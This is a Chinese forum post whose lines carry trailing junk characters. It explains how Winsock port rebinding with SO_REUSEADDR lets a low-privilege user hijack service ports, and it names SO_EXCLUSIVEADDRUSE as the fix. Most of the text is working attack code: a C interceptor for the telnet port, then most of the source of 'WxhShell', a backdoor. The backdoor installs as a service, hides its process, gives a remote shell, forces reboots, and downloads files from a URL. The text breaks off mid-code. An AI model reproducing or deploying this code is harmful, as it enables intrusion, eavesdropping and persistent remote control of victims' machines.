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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D/&o& G96  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E{`fF8]K  
G9cUD[GB  
  saddr.sin_family = AF_INET; IOmfF[  
k="i;! G e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]w8(&,PP  
KkbDW3-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R__OP`!  
hL{KRRf>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tS=(}2Q  
&j"?\f?  
  这意味着什么?意味着可以进行如下的攻击: g}cq K  
oD .Cs'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #q=Efn'  
+a+Om73B2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^hM4j{|&M  
*.t 7G  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Zb>?8  
<\^8fn   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  f2`2,?  
VY4yS*y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _]H&,</  
yvB.&<]No  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z@!+v 19^  
e*NnVys  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !_)[/q"  
VpDbHAg  
  #include h*](a_0  
  #include iqWQ!r^  
  #include ggR.4&<  
  #include    6LIJ Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HIZe0%WPw  
  int main() Kn1a>fLaJ_  
  { @*( (1(q  
  WORD wVersionRequested; 0x@ mZ  
  DWORD ret; OQJ6e:BGt  
  WSADATA wsaData; W/h[A3 `3N  
  BOOL val; }K|oicpUg  
  SOCKADDR_IN saddr; |@d\S[~^G  
  SOCKADDR_IN scaddr; NC(~l  
  int err; &V/Mmm T  
  SOCKET s; 64tvP^kp  
  SOCKET sc; k5pN  
  int caddsize; %* }(}~  
  HANDLE mt; 0\P1; ak%  
  DWORD tid;   Ad_h K O  
  wVersionRequested = MAKEWORD( 2, 2 ); %Q|Atgp  
  err = WSAStartup( wVersionRequested, &wsaData ); zK@@p+n_#.  
  if ( err != 0 ) { HG^'I+Yn  
  printf("error!WSAStartup failed!\n"); &Z%?!.4j@  
  return -1; jNk%OrP]  
  } ~Mxvq9vaD  
  saddr.sin_family = AF_INET; VMWf>ZU  
   0@oJFJrO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ud('0 r',D  
*$g-:ILRuZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vr =#3>  
  saddr.sin_port = htons(23); +CNv l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X'iWJ8  
  { wFZP,fQ9l  
  printf("error!socket failed!\n"); .?$gpM?i  
  return -1; 4.t-i5  
  } %EB/b  
  val = TRUE; Ysv" 6b}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vdwsJPFbc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Gk6iIK  
  { .$vK&k  
  printf("error!setsockopt failed!\n"); ZJiG!+-j  
  return -1; S)@j6(HC4  
  } G4"F+%.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5r ^(P  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Cw&KVw*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H qx-;F~0  
xJ.M;SF4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) utV_W&  
  { IH+|}z4N?>  
  ret=GetLastError(); + {'.7#  
  printf("error!bind failed!\n"); x[e<} 8'$(  
  return -1; nqUV  
  } Zj'9rXhrM1  
  listen(s,2); m)v &v6  
  while(1) 'm$L Ij?@  
  { )9]PMA?u  
  caddsize = sizeof(scaddr); 1$h,m63)  
  //接受连接请求 vnuN6M{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5v*\Zr5ha  
  if(sc!=INVALID_SOCKET) nX8v+:&}  
  { c-sfg>0^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b&U62iq  
  if(mt==NULL) c7H^$_^=  
  { } 0y"F  
  printf("Thread Creat Failed!\n"); pMM8-R'W-  
  break; ]7A'7p $Y  
  } 493*{  
  } 7b+6%fV  
  CloseHandle(mt); hM! a_'  
  } YN5rml'-  
  closesocket(s); d&>^&>?$zh  
  WSACleanup(); a d\ot#V  
  return 0; 4_ML],.  
  }   6_B]MN!(  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,PD QzJY  
  { 6ik$B   
  SOCKET ss = (SOCKET)lpParam; o)/ 0a  
  SOCKET sc; .T`%tJ-Em  
  unsigned char buf[4096]; <1TAw.  
  SOCKADDR_IN saddr; <F'\lA9  
  long num; J<lW<:!3]  
  DWORD val; g<qaXv  
  DWORD ret; uPvEwq* C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <C*hokqqP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xoME9u0x4  
  saddr.sin_family = AF_INET; ~"A0Rs=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r9XZ(0/p  
  saddr.sin_port = htons(23); s5. CFA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *0ro0Z|Iq  
  { 6 !bsM"F  
  printf("error!socket failed!\n"); Q,Eo mt  
  return -1; ^<6[.)  
  } gRzxLf`K  
  val = 100; VIbq:U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o4WDh@d5S  
  { N2o7%gJw  
  ret = GetLastError(); *m(=V1"  
  return -1; \Oo Wo  
  } %a7$QF]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @ N m@]q  
  { ~}Pfu  
  ret = GetLastError(); P$,Ke<  
  return -1; $/ ],tSm  
  } |uJ%5y#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Dha1/g1q  
  { ;9#KeA _  
  printf("error!socket connect failed!\n"); ia? c0xL  
  closesocket(sc); [G3E%z  
  closesocket(ss); yt2PU_),  
  return -1; 6L~n.5B~o  
  } E?@m?@*/  
  while(1) 0*v2y*2V  
  { XK vi=0B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cz$2R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,#K'PB4E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [D1Up  
  num = recv(ss,buf,4096,0); 19] E 5'AI  
  if(num>0) ee=D1qNu;  
  send(sc,buf,num,0); +w~oH=  
  else if(num==0) Uw:"n]G]D?  
  break;  0+8e,  
  num = recv(sc,buf,4096,0); |vC~HJpuv'  
  if(num>0) T> p&$]OG  
  send(ss,buf,num,0); hqdDm  
  else if(num==0) 1 -b_~DF  
  break; $pz/?>!  
  } +cRn%ioVi  
  closesocket(ss); GtHivC  
  closesocket(sc); t#yuOUg  
  return 0 ; 3(UVg!t  
  } V VCZ9MVJ  
uw8f ~:LT  
y)<q /  
========================================================== 2A!FDr~cdT  
[-x7_=E#  
下边附上一个代码,,WXhSHELL 5IG-~jzCLb  
(V@HR9?W)  
========================================================== 4&iCht =  
Z30A{6}  
#include "stdafx.h" "wc<B4"  
tl>7^hH  
#include <stdio.h> IVmo5,&5(  
#include <string.h> E(|>Ddv B&  
#include <windows.h> 8cQ'dL`(  
#include <winsock2.h> yh=N@Z*zP  
#include <winsvc.h> 8b=_Y;  
#include <urlmon.h> 5LMw?P.<  
K<J9 ~  
#pragma comment (lib, "Ws2_32.lib") :zR!/5  
#pragma comment (lib, "urlmon.lib") T8NxJmYqB  
T^q 0'#/  
#define MAX_USER   100 // 最大客户端连接数 L: x-%m%w  
#define BUF_SOCK   200 // sock buffer :E?V.  
#define KEY_BUFF   255 // 输入 buffer #A.@i+Zv  
54qFfN8O  
#define REBOOT     0   // 重启 fc@A0Hf  
#define SHUTDOWN   1   // 关机 'B}qZCy W  
048kPXm`  
#define DEF_PORT   5000 // 监听端口 XX~,>Q}H=  
M^I(OuRMeI  
#define REG_LEN     16   // 注册表键长度 wyG;8I  
#define SVC_LEN     80   // NT服务名长度 :Tq~8!s  
[ /ZO q  
// 从dll定义API :hA#m[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E\$W_Lmr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q@HV- (A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y\tui+?J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B erwI 7!=  
-$@h1Y  
// wxhshell配置信息 .e5Mnd%$M  
struct WSCFG { NEF# }s2=  
  int ws_port;         // 监听端口 C7?/%7{  
  char ws_passstr[REG_LEN]; // 口令 et+0FF ,  
  int ws_autoins;       // 安装标记, 1=yes 0=no P|> ~_$W  
  char ws_regname[REG_LEN]; // 注册表键名 ?fS9J  
  char ws_svcname[REG_LEN]; // 服务名 K+iP 6B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E)3NxmM#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )}ROLe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (iGTACoF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B?wq=DoG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A\;U3Zu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .sA.C] f  
O'~+_ykTl  
}; hzC>~Ub5  
PRT +mT  
// default Wxhshell configuration {:W$LWET  
struct WSCFG wscfg={DEF_PORT, Vz[C=_m  
    "xuhuanlingzhe", M:V_/@W.  
    1, @|)Z"m7  
    "Wxhshell", 8r!zBKq2~  
    "Wxhshell", nF/OPd  
            "WxhShell Service", ~_ a-E  
    "Wrsky Windows CmdShell Service", $]8Q(/mbK  
    "Please Input Your Password: ", F<w/PMb  
  1, RT5T1K08I  
  "http://www.wrsky.com/wxhshell.exe", MY/}-* |  
  "Wxhshell.exe"  LIdF 0  
    }; h1(4Ic  
Np)lIGE  
// 消息定义模块 J. @9zA&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I O> yIU[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GH xp7H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DeYV$W B  
char *msg_ws_ext="\n\rExit."; yppo6HGD  
char *msg_ws_end="\n\rQuit."; D3A/l  
char *msg_ws_boot="\n\rReboot..."; 5M_H NWi4  
char *msg_ws_poff="\n\rShutdown..."; p<;0g9,1  
char *msg_ws_down="\n\rSave to "; ,Lt[\_  
iyog`s c  
char *msg_ws_err="\n\rErr!"; Xry4 7a )  
char *msg_ws_ok="\n\rOK!"; %07SFu#  
l@:0e]8|o  
char ExeFile[MAX_PATH]; $mB;K]m  
int nUser = 0; PxE3K-S)G  
HANDLE handles[MAX_USER]; Lh<).<S  
int OsIsNt; [1KuzCcK}  
bu"!jHPB  
SERVICE_STATUS       serviceStatus; 0|b>I!_"g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &VcV$8k  
1i ] ^{;]  
// 函数声明 FCn_^l)EA  
int Install(void); Tb-F]lg$  
int Uninstall(void); .}*" Nv  
int DownloadFile(char *sURL, SOCKET wsh); wvPk:1wD5  
int Boot(int flag); i 3SHg\~Z  
void HideProc(void); ;S*}WqP,  
int GetOsVer(void); m#F`] {  
int Wxhshell(SOCKET wsl); &t-kpA|EG  
void TalkWithClient(void *cs); ---N9I  
int CmdShell(SOCKET sock);  f V(J|  
int StartFromService(void); x3krbUlx  
int StartWxhshell(LPSTR lpCmdLine); 4H<lm*!^  
g zg_>2Sj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dq[xwRU1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a@*\o+Su  
Qw)c$93  
// 数据结构和表定义 \^%}M!tan  
SERVICE_TABLE_ENTRY DispatchTable[] = )F2OT<]m,  
{ -PQv ?5  
{wscfg.ws_svcname, NTServiceMain}, $tS}LN_!  
{NULL, NULL} 9&ids!W~yx  
}; I!?}jo3  
40<mrVl  
// 自我安装 _/K_[w 1  
int Install(void) PiYxk+N  
{ 6JQ'Ik;$wX  
  char svExeFile[MAX_PATH]; O7IJ%_A&  
  HKEY key; 8&aq/4:q0  
  strcpy(svExeFile,ExeFile); k@:%:Sj 2  
Tu7QCr5*  
// 如果是win9x系统,修改注册表设为自启动 v}Fr@0%  
if(!OsIsNt) { JO< wU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "w.3Q96r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &`XVq" 7  
  RegCloseKey(key); 3%ZOKb"D*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m%e68c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @|%2f@h  
  RegCloseKey(key); t`mV\)fa  
  return 0; Wiu"k%Qsh  
    } &JI8]JmU)  
  } (J!+(H 8  
} Z)aUt Srf  
else { &9)\wnOS  
Ez=Olbk  
// 如果是NT以上系统,安装为系统服务 # 4PVVu<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZJ[ ??=Gz  
if (schSCManager!=0) d<N:[Y\4l  
{ aAA U{EWW  
  SC_HANDLE schService = CreateService o.l- 7  
  ( e@OX_t_  
  schSCManager, Nu7 !8[?r*  
  wscfg.ws_svcname, w*JGUk  
  wscfg.ws_svcdisp, ^]-6u:J!  
  SERVICE_ALL_ACCESS, Q)[C?obd v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , > "=>3  
  SERVICE_AUTO_START, J6aef ^>  
  SERVICE_ERROR_NORMAL, & 9 ?\b7  
  svExeFile, [1 9,&]z  
  NULL, KyQX!,rV  
  NULL, Hg$lXtn]  
  NULL, ,Vk3kmuvr]  
  NULL, 46&/gehr  
  NULL /d<P-!fK  
  ); ~La>?:g <+  
  if (schService!=0) EJNU761  
  { fsWTF<Y  
  CloseServiceHandle(schService);  'CkIz"Wd  
  CloseServiceHandle(schSCManager); 'y3!fN =h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fun^B;GA:  
  strcat(svExeFile,wscfg.ws_svcname); vOpK Np  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7s{GbU\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <<R*2b  
  RegCloseKey(key); kq,ucU%>p  
  return 0; e&aWq@D  
    } r? E)obE  
  } Da&]y  
  CloseServiceHandle(schSCManager); 8q}q{8  
} V /V9B2.$  
} UQ@L V~6{R  
?oHpFlj  
return 1; u($ !z^h  
} k{SAvKx=  
d,n 'n  
// 自我卸载 &@Be2!%'9K  
int Uninstall(void) Y\?"WGL)p  
{ >e[i5  
  HKEY key; (jl D+Y_  
6MMOf\   
if(!OsIsNt) { BeoDKdAwY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JHTSUq  
  RegDeleteValue(key,wscfg.ws_regname); Hn+~5@.  
  RegCloseKey(key); !NvI:C_4|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l3I:Q^x@  
  RegDeleteValue(key,wscfg.ws_regname); r:ptQo`1-  
  RegCloseKey(key); >_"an~Ss  
  return 0; @8r pD"x  
  } S2VA{9:m  
} Q:k}Jl  
} 'F0e(He@,  
else { Ks`J([(W&  
T !WT;A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )"aV* "  
if (schSCManager!=0) PKg@[<g43  
{ EVC]sUT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~;{; ,8!)  
  if (schService!=0) 54R#W:t  
  { .Od !0(0  
  if(DeleteService(schService)!=0) { '=8d?aeF  
  CloseServiceHandle(schService); 'XP7" N47O  
  CloseServiceHandle(schSCManager); MJ [m  
  return 0; LR.<&m%~.  
  } 41?HY{&2  
  CloseServiceHandle(schService); /zVOK4BqN+  
  } B; h"lv  
  CloseServiceHandle(schSCManager); .jT#:_  
} 9c,'k#k  
} YvyNHW&  
mQ 26K~  
return 1; =Qj{T  
} +V046goX W  
9} M?P  
// 从指定url下载文件 ?:I*8Fj  
int DownloadFile(char *sURL, SOCKET wsh) hVAn>_(  
{ NzOx0WLF  
  HRESULT hr; =BAW[%1b  
char seps[]= "/"; 0 e ~JMUb  
char *token; Z!zF\<r  
char *file; J({Xg?  
char myURL[MAX_PATH]; vJc-6EO  
char myFILE[MAX_PATH]; CiLg]va   
`1{ZqRFQ  
strcpy(myURL,sURL); MSqVlj  
  token=strtok(myURL,seps); ]e>w }L(gV  
  while(token!=NULL) !_D0vI;  
  { 9YQb &  
    file=token; e+ BQww  
  token=strtok(NULL,seps); }DfshZ0QM  
  } e95Lo+:f  
O-GJ-  
GetCurrentDirectory(MAX_PATH,myFILE); &LZn FR  
strcat(myFILE, "\\"); {xB!EQ"  
strcat(myFILE, file); s.N/2F& *W  
  send(wsh,myFILE,strlen(myFILE),0); Tc &z:  
send(wsh,"...",3,0); zFw s:_ i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I%X6T@P  
  if(hr==S_OK) j2.|ln"!  
return 0; {Y=WW7:Qx  
else ~{B7 k:  
return 1; ju8q?Nyhs  
MvHm)h  
} A_ N;   
0c'<3@39k|  
// 系统电源模块 %wvdn  
int Boot(int flag) yyRiP|hJ  
{ 0s3%Kqi[  
  HANDLE hToken; g:D>.lKd  
  TOKEN_PRIVILEGES tkp; _w(7u(Z  
cr?Q[8%t1  
  if(OsIsNt) { (\hx` Yh=>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7#ibN!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q#ClnG*  
    tkp.PrivilegeCount = 1; Ou!2 [oe@M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bvr^zH,C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xH(lm2kvT  
if(flag==REBOOT) { 9_rYBX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NAQAU *yP  
  return 0; E+R1 !.  
} )Y6 +  
else { mD0f<gJ1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ith 3 =`3  
  return 0; M!A}NWF  
} A8fOQ  
  } ](9Xvy  
  else { q?oP?cCw  
if(flag==REBOOT) { w QH<gJE/:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rc>4vB_ha  
  return 0; K>r,(zgVc  
} )=Z>#iH1  
else { @6F#rz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N~d?WD\^  
  return 0; zH4D8@[7O  
} "9P>a=Y  
} \y)rt )  
AOWmzu{zw  
return 1; |\<`Ib4j  
} :W:K:lk  
lhz{1P]s  
// win9x进程隐藏模块 qL&[K>2z  
void HideProc(void) EC6DW=  
{ DV+xg3\(>1  
t?ZI".>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^ft>@=K(|  
  if ( hKernel != NULL ) YEs&  
  { 7>|J8*/Nd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,o{9$H5{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KL:j?.0  
    FreeLibrary(hKernel); X_ cV%#  
  } {M$1N5Eh  
!M]uL&:  
return; z(exA  
} $L>@Ed<  
>#;.n(y  
// 获取操作系统版本 BNl5!X^{  
int GetOsVer(void) c74.< @w  
{ "XKy#[d2  
  OSVERSIONINFO winfo; m )zUU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^ f &XQQY  
  GetVersionEx(&winfo); ICoHI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .hP D$o  
  return 1; ARVf[BAJ-*  
  else 2d(e:r h]  
  return 0; NP#w +Qw  
} z^q0/'  
*{@Nq=fE  
// 客户端句柄模块 c9'vDTE%~  
int Wxhshell(SOCKET wsl) P*Uwg&Qz)  
{ OwUhdiG  
  SOCKET wsh; }bpQq6ZF  
  struct sockaddr_in client; Eh;'S"{/?j  
  DWORD myID; e7r -R3_  
9ni1f{k  
  while(nUser<MAX_USER) C'@i/+  
{ dA`IEQJL  
  int nSize=sizeof(client); #$+*;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); } FlT%>Gw  
  if(wsh==INVALID_SOCKET) return 1; i2A81>68<  
A*R^n}sh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); | y# Jx  
if(handles[nUser]==0) S8w _ii3zd  
  closesocket(wsh); v ~?qz5:K~  
else >,Ci?[pf  
  nUser++; x{8xW0  
  } ' !cCMTj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TnOggpQ6X  
ksqQM  
  return 0; 6V:U (g  
} m 3hrb-  
2K6qY)/_  
// 关闭 socket c|B('3h  
void CloseIt(SOCKET wsh) )?n aN  
{ o>i4CCU+  
closesocket(wsh); B6As,)RjD:  
nUser--; 4*#18<u5  
ExitThread(0); H8zK$!  
} \*y-g@-{W$  
V-2(?auZd  
// 客户端请求句柄 v0+BkfU+p  
void TalkWithClient(void *cs) 4qh?,^Dq  
{ \0I_<  
cJ n=  
  SOCKET wsh=(SOCKET)cs; VUGmi]qd  
  char pwd[SVC_LEN]; ) 0W{]2  
  char cmd[KEY_BUFF]; xJvmhN/c  
char chr[1]; L>NL:68yN  
int i,j; 9r<J"%*Q  
"]x'PI 4J  
  while (nUser < MAX_USER) { Y%aCMP9j~9  
l^-];|Y  
if(wscfg.ws_passstr) { YQ)kRhFA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c(m<h+ 2VL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1 ~*7f>  
  //ZeroMemory(pwd,KEY_BUFF); ]BZA:dd.G  
      i=0; *NaB#;+|k`  
  while(i<SVC_LEN) { =tn)}Y.<e  
0c]/bs{}  
  // 设置超时 vY}g<*  
  fd_set FdRead; t?&|8SId  
  struct timeval TimeOut; I)6+6pm  
  FD_ZERO(&FdRead); 9dLV96  
  FD_SET(wsh,&FdRead); z`}qkbvi  
  TimeOut.tv_sec=8; *3FKt&v 0  
  TimeOut.tv_usec=0; S-b/S5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?V.cOR`6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TR`U-= jH,  
8)3*6+D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -%CP@dAk  
  pwd=chr[0]; tBWrL{xLe  
  if(chr[0]==0xd || chr[0]==0xa) { P[ck84F/  
  pwd=0; P {jbl!UD7  
  break; {.|CdqwY  
  } XS{Qnx_#  
  i++; "ycJ:Xv49  
    } 2r4Uh1D~  
6=/F$|  
  // 如果是非法用户,关闭 socket V>LwqS~`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .},'~NM]  
} F4z{LhZ  
\fd v]f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `r':by0M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9};8?mucr  
yu|8_<bq  
while(1) { FUb\e-Q=  
+Q)XH>jh   
  ZeroMemory(cmd,KEY_BUFF); u@M,qo`  
]Sz:|%JP1  
      // 自动支持客户端 telnet标准   e}7lBLK]*  
  j=0; n\'4  
  while(j<KEY_BUFF) { 1#2 I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B{#I:Rs9  
  cmd[j]=chr[0]; @ioJ] $o7  
  if(chr[0]==0xa || chr[0]==0xd) { [5b--O  
  cmd[j]=0; a0E)2vt4  
  break; j0aXyLNX  
  } y9GoPC`z  
  j++; ]^7@}Ce_  
    } h"Q8b}$^)  
wv1iSfW  
  // 下载文件 _Y4` xv0/  
  if(strstr(cmd,"http://")) { Y =I'czg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fOGFq1D  
  if(DownloadFile(cmd,wsh)) P>D)7 V9Hh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mdDOvm:&  
  else Sy_G,+$\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  'KL0@l  
  } U_Ptqqt%  
  else { -f^tE,-  
 %OCb:s  
    switch(cmd[0]) { j2[+z tG  
  tw/dD +  
  // 帮助 9:|{6_Y  
  case '?': { #q$HQ&k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZJJY8k `  
    break; O _ gGf  
  } lgy <?LI\  
  // 安装 @Uvz8*b6  
  case 'i': { tSUEZ62EY  
    if(Install()) Y\P8 v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I;(L%TT `  
    else 7Q9 w?y~c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [ l??A3G  
    break; U9 s&  
    } ?e4YGOe.  
  // 卸载 Iyn(?w  
  case 'r': { #gN&lY:CFn  
    if(Uninstall()) bsli0FJSh'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V)k4:H  
    else pYEMmZ?L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  7xlkZF  
    break; Mb}QD~=M  
    } 8kIksy  
  // 显示 wxhshell 所在路径 2@],ZLa  
  case 'p': { r Z$O?K  
    char svExeFile[MAX_PATH]; Of#u  
    strcpy(svExeFile,"\n\r"); ~,Ix0h+H+M  
      strcat(svExeFile,ExeFile); 4F:\-O  
        send(wsh,svExeFile,strlen(svExeFile),0); f'RX6$}\1X  
    break; eM6<%?b  
    } Dml;#'IF3  
  // 重启 };zFJ6I8  
  case 'b': { V1zmGy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gb6'n$g  
    if(Boot(REBOOT)) ebhXak[w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u&vf+6=9Dd  
    else { khxnlry  
    closesocket(wsh); ; DR$iH-F  
    ExitThread(0); t{9GVLZ  
    } 0Mm)`!TLSW  
    break; eo?bL$A[s  
    } ;igIZ$&  
  // 关机 |wMN}bq|T  
